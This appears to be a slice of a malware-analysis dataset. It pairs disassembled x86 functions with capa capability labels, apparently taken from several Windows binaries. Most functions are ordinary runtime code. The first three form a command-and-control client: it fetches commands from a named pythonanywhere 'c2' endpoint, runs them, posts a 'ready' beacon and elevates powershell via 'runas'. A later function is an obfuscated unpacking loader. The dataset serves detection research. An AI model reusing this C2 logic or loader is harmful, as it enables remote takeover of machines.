joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x3c
push 0
lea eax, [ebp - 0x3c]
push eax
call fcn.00402160
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], str.runas
mov dword [ebp - 0x2c], str.powershell
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40107b
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x401088
push str.Failed_to_execute_command._n
call fcn.004013c0
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41b280]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x400
push 0
lea eax, [ebp - 0x404]
push eax
call fcn.00402160
add esp, 0xc
push 0
push 0
push 0
push 1
push 0x41b030
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jne 0x4010f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x41b040
call fcn.004013c0
add esp, 8
jmp 0x4011eb
push 0
push 0x80000000
push 0
push 0
push str.https:__tdsoperational.pythonanywhere.com_c2_actualc2_shell
mov ecx, dword [ebp - 0x408]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jne 0x401147
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpenUrlA_failed_with_error:__lu_n
call fcn.004013c0
add esp, 8
mov edx, dword [ebp - 0x408]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
nop
jmp 0x4011eb
lea eax, [ebp - 0x410]
push eax
push 0x3ff
lea ecx, [ebp - 0x404]
push ecx
mov edx, dword [ebp - 0x40c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 0x410], 0
jbe 0x4011c3
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0x400
jae 0x40118a
jmp 0x401190
call fcn.0040151d
nop
mov ecx, dword [ebp - 0x414]
mov byte [ebp + ecx - 0x404], 0
lea edx, [ebp - 0x404]
push edx
push str.Received_command:__s_n
call fcn.004013c0
add esp, 8
lea eax, [ebp - 0x404]
push eax
call section..text
add esp, 4
jmp 0x4011d0
push str.Failed_to_read_data_or_no_data_received._n
call fcn.004013c0
add esp, 4
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x408]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004015fa
mov esp, ebp
pop ebp
ret
Function at 0x401200
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], str._message_:_ready_tdload_
mov dword [ebp - 0x14], str.Content_Type:_application_json
push 0
push 0
push 0
push 1
push str.WinINet_Example
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401249
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpenA_failed_with_error:__lu_n
call fcn.004013c0
add esp, 8
jmp 0x401355
push 0
push 0
push 3
push 0
push 0
push 0x1bb
push str.tdsoperational.pythonanywhere.com
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401294
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetConnectA_failed_with_error:__lu_n
call fcn.004013c0
add esp, 8
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
nop
jmp 0x401355
push 0
push 0x800000
push 0
push 0
push 0
push str._c2_data
push str.POST
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4012e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpOpenRequestA_failed_with_error:__lu_n
call fcn.004013c0
add esp, 8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
nop
jmp 0x401355
mov edx, dword [ebp - 0x10]
push edx
call fcn.00404470
add esp, 4
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401329
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpSendRequestA_failed_with_error:__lu_n
call fcn.004013c0
add esp, 8
jmp 0x401336
push str.Ready_message_sent_successfully._n
call fcn.004013c0
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov esp, ebp
pop ebp
ret

Function at 0x401cd7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401d16
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401d16
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401d16
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401d16
cmp dword [ecx + 0x74], 0xe
jbe 0x401d16
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x407db6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415618
push 0x415610
push str.FlsAlloc
push 0x1f
call fcn.00407c75
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407dea
push dword [ebp + 8]
mov ecx, esi
call dword [0x41413c]
call esi
jmp 0x407df0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407e34
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415628
push 0x415620
push str.FlsGetValue
push 0x21
call fcn.00407c75
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e6b
push dword [ebp + 8]
mov ecx, esi
call dword [0x41413c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407e73
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415630
push 0x415628
push str.FlsSetValue
push 0x22
call fcn.00407c75
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407ead
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41413c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40b3f8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b495
push ebx
push esi
call fcn.0040b3c1
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b355
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b442
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b494
push edi
push eax
call fcn.00408565
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b462
call fcn.00407b08
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b493
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b355
add esp, 0x20
test eax, eax
jne 0x40b481
push edi
call fcn.00407b08
jmp 0x40b489
push ebx
call fcn.00407b08
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x413550
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41357d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41357d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x41baae
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x41babd
pop dword [ebp - 0x14]
mov eax, 0xbc1180c7
add eax, 0x443039f6
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x96219f1e
add dword [ebp - 0x24], 0xb830a62d
mov dword [ebp - 0x20], 0x3e1f5856
add dword [ebp - 0x20], 0xf413f3ef
mov dword [ebp - 0x1c], 0x2448c16a
add dword [ebp - 0x1c], 0x280382c4
mov dword [ebp - 0x18], 0x6015bf4
add dword [ebp - 0x18], 0xf9fea40c
lea eax, [ebp - 0x24]
push eax
mov eax, 0x7e4453c4
sub eax, 0x7e01b370
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x144f110c
sub dword [ebp - 0x24], 0x9fdca7b6
mov dword [ebp - 0x20], 0x1777baef
add dword [ebp - 0x20], 0x29f4a686
mov dword [ebp - 0x1c], 0xe2a51b01
sub dword [ebp - 0x1c], 0x7f35ae95
mov dword [ebp - 0x18], 0xb88d1711
sub dword [ebp - 0x18], 0xb88d1711
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x5993c808
sub eax, 0x595127b0
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x4328a
push 0
call eax
mov ecx, 0xb79139f7
sub ecx, 0xb790e4c8
mov edi, eax
mov ebx, 0x54ac00
add ebx, dword [ebp - 0x14]
mov esi, 0xde197cb7
add esi, 0xe30c9964
add dword [ebp - 4], 0x87f19f10
mov edx, dword [ebx]
xor dword [ebp - 8], 0xd2c374ab
add edx, esi
xor dword [ebp - 0x10], esi
mov dword [edi], edx
sub dword [ebp - 0x10], 0x2607d90e
add edi, 0x8fed5f33
sub edi, 0x8fed5f2f
add ebx, 0xc6f7c276
sub ebx, 0xc6f7c272
loop 0x41bbd9
add eax, 0x1478f
mov ebx, eax
add eax, 0x24363cf5
add eax, 0xdbc9c310
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4017a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
xor eax, eax
push edi
mov edi, dword [ebp + 8]
shl edi, 4
lea esi, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
lea esi, [esi + 4]
mov edx, dword [esi - 4]
add ecx, edi
movzx ecx, byte [ecx + eax]
xor byte [edx], cl
mov ecx, dword [ebx + 0x10]
mov edx, dword [esi - 4]
add ecx, edi
movzx ecx, byte [ecx + eax + 4]
xor byte [edx + 1], cl
mov ecx, dword [ebx + 0x10]
mov edx, dword [esi - 4]
add ecx, edi
movzx ecx, byte [ecx + eax + 8]
xor byte [edx + 2], cl
mov ecx, dword [ebx + 0x10]
mov edx, dword [esi - 4]
add ecx, edi
movzx ecx, byte [ecx + eax + 0xc]
inc eax
xor byte [edx + 3], cl
cmp eax, 4
jl 0x4017b3
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x4020e0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
mov dword [ebp - 0x10], edx
test esi, esi
je 0x402225
test edx, edx
js 0x402225
mov eax, dword [ebp + 8]
test eax, eax
je 0x40220c
push ebx
mov ebx, edx
mov dword [ebp - 8], ebx
test edx, edx
jle 0x402206
push edi
cmp ebx, 3
jl 0x40218b
mov dl, byte [esi + 1]
mov cl, byte [esi]
mov bl, byte [esi + 2]
add esi, 3
mov dword [ebp - 0xc], esi
movzx esi, cl
mov ecx, esi
movzx edi, dl
shr ecx, 2
shl esi, 4
movsx ecx, byte [ecx + 0x4f8a08]
mov word [eax], cx
mov ecx, edi
shr ecx, 4
or ecx, esi
movzx esi, bl
mov ebx, dword [ebp - 8]
and ecx, 0x3f
mov edx, esi
shr edx, 6
movsx ecx, byte [ecx + 0x4f8a08]
mov word [eax + 2], cx
lea ecx, [edi*4]
or edx, ecx
and edx, 0x3f
and esi, 0x3f
movsx ecx, byte [edx + 0x4f8a08]
mov word [eax + 4], cx
lea ecx, [eax + 6]
movsx ax, byte [esi + 0x4f8a08]
mov esi, dword [ebp - 0xc]
jmp 0x4021ee
mov dl, byte [esi]
inc esi
cmp ebx, 2
jne 0x40219b
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
jmp 0x40219f
mov byte [ebp - 1], 0
movzx edi, byte [ebp - 1]
movzx edx, dl
mov ecx, edx
shl edx, 4
shr ecx, 2
movsx ecx, byte [ecx + 0x4f8a08]
mov word [eax], cx
mov ecx, edi
shr ecx, 4
or ecx, edx
and ecx, 0x3f
movsx ecx, byte [ecx + 0x4f8a08]
mov word [eax + 2], cx
cmp ebx, 1
jne 0x4021d7
lea ecx, [ebx + 0x3c]
jmp 0x4021e2
and edi, 0xf
movsx ecx, byte [edi*4 + 0x4f8a08]
mov word [eax + 4], cx
lea ecx, [eax + 6]
mov eax, 0x3d
sub ebx, 3
mov word [ecx], ax
mov dword [ebp - 8], ebx
lea eax, [ecx + 2]
test ebx, ebx
jg 0x402116
mov edx, dword [ebp - 0x10]
pop edi
xor ecx, ecx
mov word [eax], cx
pop ebx
lea ecx, [edx + 2]
mov eax, 0x55555556
imul ecx
pop esi
mov eax, edx
shr eax, 0x1f
add eax, edx
shl eax, 2
mov esp, ebp
pop ebp
ret
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4039b0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d0e71
mov eax, dword fs:[0]
push eax
sub esp, 0x3b0
mov eax, dword [0x506384]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
test esi, esi
je 0x403c04
push 0x84
lea eax, [ebp - 0x29c]
push 0
push eax
call fcn.004a6110
add esp, 0xc
lea ecx, [ebp - 0x29c]
call fcn.00415de6
push esi
lea ecx, [edi + 0x498]
mov dword [ebp - 4], 0
call fcn.0049ca10
push eax
lea eax, [ebp - 0x29c]
push 0x4f8ea4
push eax
call fcn.004163de
add esp, 0x10
lea ecx, [ebp - 0x29c]
call fcn.0049ca10
mov edx, eax
mov dword [ebp - 0x3a8], 7
xor eax, eax
mov dword [ebp - 0x3ac], 0
mov word [ebp - 0x3bc], ax
cmp word [edx], ax
jne 0x403a66
xor ecx, ecx
jmp 0x403a7f
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403a70
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x3bc]
call fcn.00407200
cmp dword [ebp - 0x3a8], 8
lea eax, [ebp - 0x3bc]
cmovae eax, dword [ebp - 0x3bc]
push eax
call dword [0x4d6310]
cmp eax, 0xffffffff
je 0x403ad7
test al, 0x10
je 0x403ad7
mov eax, dword [ebp - 0x3a8]
cmp eax, 8
jb 0x403bf9
inc eax
lea ecx, [ebp - 0x3bc]
push eax
push dword [ebp - 0x3bc]
call fcn.00407890
jmp 0x403bf9
mov eax, dword [ebp - 0x3a8]
cmp eax, 8
jb 0x403af5
inc eax
lea ecx, [ebp - 0x3bc]
push eax
push dword [ebp - 0x3bc]
call fcn.00407890
lea ecx, [ebp - 0x29c]
call fcn.0049ca10
push eax
call dword [0x4d6358]
test eax, eax
jne 0x403bf9
push 0x208
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004a6110
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [0x4d6354]
push 0x84
lea eax, [ebp - 0x3a4]
push 0
push eax
call fcn.004a6110
add esp, 0xc
lea eax, [ebp - 0x3a4]
lea ecx, [ebp - 0x29c]
push 0x4f8eb0
push eax
call fcn.00415fde
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 1
call fcn.0049ca10
push eax
lea ecx, [ebp - 0x29c]
call fcn.0049ca10
push eax
call fcn.004a9338
push 0x84
lea eax, [ebp - 0x320]
push 0
push eax
call fcn.004a6110
add esp, 0x14
lea ecx, [ebp - 0x320]
call fcn.00415de6
push esi
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x320]
push 0x4f8ebc
push eax
call fcn.004163de
add esp, 0x10
lea ecx, [ebp - 0x320]
call fcn.0049ca10
push eax
lea ecx, [ebp - 0x3a4]
call fcn.0049ca10
push eax
call dword [0x4d6350]
lea ecx, [ebp - 0x320]
call fcn.00415ea9
lea ecx, [ebp - 0x3a4]
call fcn.00415ea9
lea ecx, [ebp - 0x29c]
call fcn.00415ea9
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a27ce
mov esp, ebp
pop ebp
ret 4
Function at 0x408de0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x506384]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [edx + 0x14], 0x10
mov eax, dword [edx + 0x10]
push esi
mov esi, ecx
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], esi
mov byte [ebp - 0x70], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0x67452301
mov dword [ebp - 0x20], 0xefcdab89
mov dword [ebp - 0x1c], 0x98badcfe
mov dword [ebp - 0x18], 0x10325476
jb 0x408e36
mov edx, dword [edx]
push eax
push edx
lea ecx, [ebp - 0x70]
call fcn.00408b80
lea ecx, [ebp - 0x70]
call fcn.00408c30
push esi
lea ecx, [ebp - 0x70]
call fcn.00408d20
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004a27ce
mov esp, ebp
pop ebp
ret

Function at 0x40a450
Capabilities:
Check os version
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d15af
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x506384]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x14], 7
cmp dword [eax + 0x14], 8
mov dword [ebp - 0x48], eax
mov dword [eax + 0x10], 0
jb 0x40a4b1
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], ecx
pushal
mov ebx, dword fs:[0x18]
mov eax, dword fs:[0x30]
mov ebx, dword [eax + 0xa8]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
popal
cmp dword [ebp - 0x38], 5
jl 0x40a5ac
push 0x4f963c
push 0x4f9650
call dword [0x4d632c]
push eax
call dword [0x4d6330]
test eax, eax
je 0x40a514
lea ecx, [ebp - 0x34]
push ecx
call eax
jmp 0x40a51e
lea eax, [ebp - 0x34]
push eax
call dword [0x4d631c]
mov ax, word [ebp - 0x34]
cmp ax, 9
je 0x40a533
cmp ax, 6
mov eax, 0x20
jne 0x40a538
mov eax, 0x40
push eax
push dword [ebp - 0x3c]
lea eax, [ebp - 0x60]
push dword [ebp - 0x38]
push 0x4f9664
push eax
call fcn.00410710
add esp, 0x14
mov esi, eax
mov ebx, dword [ebp - 0x40]
cmp ebx, esi
je 0x40a593
mov eax, dword [ebx + 0x14]
cmp eax, 8
jb 0x40a56c
inc eax
mov ecx, ebx
push eax
push dword [ebx]
call fcn.00407890
mov dword [ebx + 0x14], 7
cmp dword [ebx + 0x14], 8
mov dword [ebx + 0x10], 0
jb 0x40a584
mov eax, dword [ebx]
jmp 0x40a586
mov eax, ebx
xor ecx, ecx
mov word [eax], cx
mov ecx, ebx
push esi
call fcn.004078f0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 8
jb 0x40a5a8
inc ecx
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x60]
call fcn.00407890
mov eax, ebx
jmp 0x40a5af
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a27ce
mov esp, ebp
pop ebp
ret
Function at 0x412cb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x412cbb
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x412d77
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
sub edi, 1
jne 0x412cd0
pop edi
test esi, esi
je 0x412d9a
nop dword [eax + eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
sub esi, 1
jne 0x412d80
not ecx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x4141e0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, ecx
mov ebx, edx
test edi, edi
jne 0x4141fb
pop edi
mov eax, 0xffffff9a
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [edi + 0x18], 0
je 0x4141f0
cmp dword [edi + 0x7c], 0
je 0x41420c
call fcn.00414650
lea eax, [ebp - 8]
mov ecx, edi
push eax
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0xc]
call fcn.00413f50
add esp, 8
test eax, eax
je 0x414230
pop edi
mov eax, 0xffffff99
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 0x84
call fcn.004b528c
mov esi, eax
add esp, 4
test esi, esi
je 0x414273
push 0x4000
call fcn.004b528c
mov ecx, dword [ebp - 4]
add esp, 4
mov dword [esi + 0x44], ecx
mov ecx, dword [ebp - 8]
mov dword [esi], eax
mov dword [esi + 0x48], ecx
mov dword [esi + 0x4c], 0
test eax, eax
jne 0x41427f
push esi
call fcn.004b5297
add esp, 4
pop esi
pop edi
mov eax, 0xffffff98
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x40], 0
mov ecx, dword [edi + 0x34]
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x54], eax
mov dword [esi + 0x50], 0
mov eax, dword [edi + 0x34]
mov dword [esi + 0x64], eax
mov eax, dword [edi]
mov dword [esi + 0x60], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x68], eax
mov dword [esi + 0x18], 0
test ecx, ecx
je 0x4142da
lea ecx, [esi + 4]
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
call fcn.00413010
test eax, eax
jne 0x4142da
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov eax, dword [edi + 0x44]
mov dword [esi + 0x5c], eax
mov al, byte [edi + 0x30]
and al, 1
mov byte [esi + 0x6c], al
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x4142fd
mov al, byte [edi + 0x39]
jmp 0x414300
mov al, byte [edi + 0x3f]
mov byte [esi + 0x80], al
mov ecx, 0xc
xor eax, eax
cmp byte [esi + 0x6c], al
cmovne eax, ecx
mov dword [esi + 0x7c], eax
mov dword [esi + 0x70], 0x12345678
mov dword [esi + 0x74], 0x23456789
mov dword [esi + 0x78], 0x34567890
test ebx, ebx
je 0x41437e
nop
mov al, byte [ebx]
test al, al
je 0x41437e
mov ecx, dword [esi + 0x70]
movsx eax, al
xor eax, dword [esi + 0x70]
movzx eax, al
shr ecx, 8
mov eax, dword [eax*4 + 0x4f7280]
xor eax, ecx
mov ecx, dword [esi + 0x78]
mov dword [esi + 0x70], eax
movzx eax, al
add eax, dword [esi + 0x74]
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 0x74], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4f7280]
mov dword [esi + 0x78], ecx
add ebx, 1
jne 0x414330
mov eax, dword [ebp - 0xc]
add eax, 0x1e
add eax, dword [edi + 0x78]
mov dword [esi + 0x3c], eax
xor eax, eax
mov dword [esi + 8], 0
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret